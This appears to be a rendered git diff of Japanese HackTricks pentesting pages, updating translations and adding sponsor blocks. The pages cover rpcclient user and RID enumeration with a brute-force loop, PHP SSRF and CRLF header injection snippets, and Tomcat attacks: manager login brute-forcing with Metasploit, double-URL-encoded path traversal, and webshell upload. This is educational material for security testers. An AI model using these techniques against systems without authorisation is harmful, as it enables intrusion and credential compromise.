* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)****
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>

View file

@ -6,40 +6,48 @@
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行いましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### **RIDとは** ### **RIDとは**
[相対識別子RID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は、Windowsがオブジェクトを**追跡および識別**するために使用する**一意の識別子**16進数形式で表されるです。これがどのように適合するかを説明するために、以下の例を見てみましょう [相対識別子RID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は、Windowsがオブジェクトを追跡および識別するために使用する**一意の識別子**16進数形式で表されるです。これがどのように適用されるかを説明するために、以下の例を見てみましょう。
* NAME\_DOMAIN.LOCALドメインの[SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は次のようになります:`S-1-5-21-1038751438-1834703946-36937684957`。 * NAME\_DOMAIN.LOCALドメインの[SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は次のようになります:`S-1-5-21-1038751438-1834703946-36937684957`。
* ドメイン内でオブジェクトが作成されると、上記の数値SIDはRIDと組み合わされ、オブジェクトを表すために使用される一意の値が作成されます。 * ドメイン内でオブジェクトが作成されると、上記の数値SIDはRIDと組み合わされ、オブジェクトを表すために使用される一意の値が作成されます。
* したがって、RID:\[0x457] Hex 0x457を持つドメインユーザー`john`は、10進数の`1111`に等しい値を持ち、完全なユーザーSIDは次のようになります`S-1-5-21-1038751438-1834703946-36937684957-1111`。 * したがって、RID\[0x457] Hex 0x457を持つドメインユーザー`john`は、10進数の`1111`に等しい値を持ち、完全なユーザーSIDは次のようになります`S-1-5-21-1038751438-1834703946-36937684957-1111`。
* これはNAME\_DOMAIN.LOCALドメインの`john`オブジェクトに固有であり、このペアの値がこのドメインまたは他のドメインの他のオブジェクトに関連付けられることはありません。 * これはNAME\_DOMAIN.LOCALドメインの`john`オブジェクトに固有であり、このドメインまたは他のドメインの他のオブジェクトに関連付けられたこのペアの値は表示されません。
定義は[**こちら**](https://academy.hackthebox.com/module/143/section/1269)から [**ここからの定義**](https://academy.hackthebox.com/module/143/section/1269)。
### **rpcclientを使用した列挙** ### **rpcclientを使用した列挙**
**このセクションの一部は、"**_**Network Security Assesment 3rd Edition**_**"という本から抜粋されました。** **このセクションの一部は、"**_**Network Security Assesment 3rd Edition**_**"という本から抜粋されました。**
Sambaの**`rpcclient`**ユーティリティを使用して、**名前付きパイプを介してRPCエンドポイント**と対話することができます。以下は、**SMBセッション**を**確立**するときに発行できるSAMR、LSARPC、およびLSARPC-DSインターフェースに対するコマンドのリストですしばしば資格情報が必要です Sambaの**`rpcclient`**ユーティリティを使用して、**名前付きパイプ**を介して**RPCエンドポイント**とやり取りすることができます。以下は、**SMBセッション**を**確立**するときに発行できるSAMR、LSARPC、およびLSARPC-DSインターフェースに対するコマンドのリストですしばしば資格情報が必要です
#### サーバー情報 #### サーバー情報
* **サーバー情報**: `srvinfo` * **サーバー情報**`srvinfo`
#### ユーザーの列挙 #### ユーザーの列挙
* **ユーザーの一覧表示**: `querydispinfo`および`enumdomusers` * **ユーザーの一覧表示**`querydispinfo`および`enumdomusers`
* **ユーザーの詳細情報の取得**: `queryuser <0xrid>` * **ユーザーの詳細情報の取得**`queryuser <0xrid>`
* **ユーザーのグループの取得**: `queryusergroups <0xrid>` * **ユーザーグループの取得**`queryusergroups <0xrid>`
* **ユーザーのSIDの取得**: `lookupnames <username>` * **ユーザーのSIDの取得**`lookupnames <username>`
* **ユーザーのエイリアスの取得**: `queryuseraliases [builtin|domain] <sid>` * **ユーザーエイリアスの取得**`queryuseraliases [builtin|domain] <sid>`
```bash ```bash
# Brute-Force users RIDs # Brute-Force users RIDs
for i in $(seq 500 1100); do for i in $(seq 500 1100); do
@ -76,7 +84,7 @@ done
* **さらなるSIDの検索**: `lsaenumsid` * **さらなるSIDの検索**: `lsaenumsid`
* **RIDサイクリングさらなるSIDのチェック**: `lookupsids <sid>` * **RIDサイクリングさらなるSIDのチェック**: `lookupsids <sid>`
#### **追加コマンド** #### **追加コマンド**
| **コマンド** | **インターフェース** | **説明** | | **コマンド** | **インターフェース** | **説明** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
@ -87,23 +95,30 @@ done
| enumdomgroups | ドメイングループの列挙 | | | enumdomgroups | ドメイングループの列挙 | |
| createdomuser | ドメインユーザーの作成 | | | createdomuser | ドメインユーザーの作成 | |
| deletedomuser | ドメインユーザーの削除 | | | deletedomuser | ドメインユーザーの削除 | |
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する | | lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
| lookupsids | SIDをユーザー名に変換するRID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | | | lookupsids | SIDをユーザー名に変換するRID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
| lsaaddacctrights | ユーザーアカウントに権限を追加する | | | lsaaddacctrights | ユーザーアカウントに権限を追加する | |
| lsaremoveacctrights | ユーザーアカウントから権限を削除する | | | lsaremoveacctrights | ユーザーアカウントから権限を削除する | |
| dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 | | dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 |
| dsenumdomtrusts | ADフォレスト内の信頼されたドメインの列挙 | | | dsenumdomtrusts | ADフォレスト内の信頼されたドメインの列挙 | |
**samrdump**と**rpcdump**のツールの動作をより理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。 **samrdump**と**rpcdump**の動作をより理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを!
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>

View file

@ -4,17 +4,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### SSRF PHP関数 ### SSRF PHP関数
**file\_get\_contents()、fopen()、file()、md5\_file()**などの一部の関数は、入力としてURLを受け入れ、それらをたどるため、データを制御できる場合に**SSRF脆弱性が発生する可能性**があります。 _**file\_get\_contents()、fopen()、file()、md5\_file()**_などの一部の関数は、入力としてURLを受け入れ、データを制御できる場合に**SSRF脆弱性が発生する可能性**があります。
```php ```php
file_get_contents("http://127.0.0.1:8081"); file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r"); fopen("http://127.0.0.1:8081", "r");
@ -23,7 +31,7 @@ md5_file("http://127.0.0.1:8081");
``` ```
### CRLF ### CRLF
さらに、一部の場合では、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することができる場合があります。 さらに、いくつかのケースでは、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することが可能です。
```php ```php
# The following will create a header called from with value Hi and # The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT" # an extra header "Injected: I HAVE IT"
@ -39,10 +47,10 @@ Connection: close
# Any of the previously mentioned functions will send those headers # Any of the previously mentioned functions will send those headers
``` ```
{% hint style="warning" %} {% hint style="warning" %}
そのCRLF脆弱性についての詳細は、このバグ[https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)を参照してください。 そのCRLF脆弱性についての詳細は、このバグ[https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)を参照してください。
{% endhint %} {% endhint %}
これらの関数には、リクエストで任意のヘッダーを設定するための他の方法があるかもしれません。以下のようなものがあります: これらの関数には、リクエストで任意のヘッダーを設定するための他のメソッドがあるかもしれないことに注意してください。
```php ```php
$url = ""; $url = "";
@ -58,14 +66,21 @@ $options = array(
$context = stream_context_create($options); $context = stream_context_create($options);
$file = file_get_contents($url, false, $context); $file = file_get_contents($url, false, $context);
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -4,22 +4,30 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)****
* **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するに、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
## Discovery <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
* 通常、**ポート8080**で実行されます 最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## ディスカバリー
* 通常は**ポート8080**で実行されます
* **一般的なTomcatエラー** * **一般的なTomcatエラー**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeration ## 列挙
### バージョン ### バージョン
```bash ```bash
@ -29,7 +37,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### マネージャーファイルの場所を特定する ### マネージャーファイルの場所を特定する
**`/manager`** と **`/host-manager`** のページがどこにあるかを見つけることは興味深いです。これらのページは異なる名前を持つ場合もあります。ブルートフォースで検索することができます。 **`/manager`** と **`/host-manager`** のページがどこにあるかを見つけるは興味深いです。これらのページは異なる名前を持つ場合もあります。ブルートフォースで検索することができます。
### ユーザー名の列挙 ### ユーザー名の列挙
@ -52,7 +60,7 @@ Tomcatの最も興味深いパスは_**/manager/html**_です。このパスで
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
もう一つの興味深いTomcatのパスは`/manager/status`です。ここではOSとTomcatのバージョンを確認することができます。`/manager/html`にアクセスできない場合に、Tomcatのバージョンに影響を与える脆弱性を見つけるのに役立ちます。 もう一つの興味深いTomcatのパスは`/manager/status`です。ここではOSとTomcatのバージョンを確認することができます。これは、`/manager/html`にアクセスできない場合に、Tomcatのバージョンに影響を与える脆弱性を見つけるのに役立ちます。
### ブルートフォース攻撃 ### ブルートフォース攻撃
```bash ```bash
@ -67,20 +75,20 @@ msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
### パスワードのバックトレースの漏洩 ### パスワードのバックトレースの漏洩
`/auth.jsp` にアクセスしてみて、非常に幸運な場合にはバックトレースでパスワードが漏洩するかもしれません。 `/auth.jsp` にアクセスしてみて、非常に幸運な場合には、**バックトレースでパスワードが漏洩するかもしれません**
### 二重URLエンコード ### 二重URLエンコード
よく知られた脆弱性である CVE-2007-1860 では、アプリケーションマネージャにアクセスするための mod_jk が使用されており、二重URLエンコードのパストラバーサルが可能です。 よく知られた脆弱性であるCVE-2007-1860では、アプリケーションマネージャにアクセスするための手段として、**二重URLエンコードのパストラバーサル**が可能です。
Tomcatの管理ウェブにアクセスするには、以下のパスに移動します: `pathTomcat/%252E%252E/manager/html` Tomcatの管理ウェブにアクセスするには、以下のパスを使用します: _pathTomcat/%252E%252E/manager/html_
Webシェルをアップロードするためには、二重URLエンコードのトリックを使用し、クッキーやSSRFトークンも送信する必要があるかもしれません。\ Webシェルをアップロードするためには、二重URLエンコードのトリックを使用し、クッキーやSSRFトークンも送信する必要があるかもしれません。\
バックドアにアクセスするには、二重URLエンコードのトリックを使用する必要があるかもしれません。 バックドアにアクセスするには、二重URLエンコードのトリックを使用する必要があるかもしれません。
### /examples ### /examples
以下の例示スクリプトは、Apache Tomcat v4.x - v7.x に付属しており、攻撃者がシステムに関する情報を入手するために使用することができます。これらのスクリプトは、クロスサイトスクリプティングXSSインジェクションにも脆弱であることが知られています[ここから](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/))。 以下の例示スクリプトは、Apache Tomcat v4.x - v7.xに付属しており、攻撃者がシステムに関する情報を入手するために使用することができます。これらのスクリプトは、クロスサイトスクリプティングXSSインジェクションにも脆弱であることが知られています[ここから](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/))。
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -105,21 +113,21 @@ Webシェルをアップロードするためには、二重URLエンコード
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### パストラバーサル (..;/) ### パストラバーサル..;/
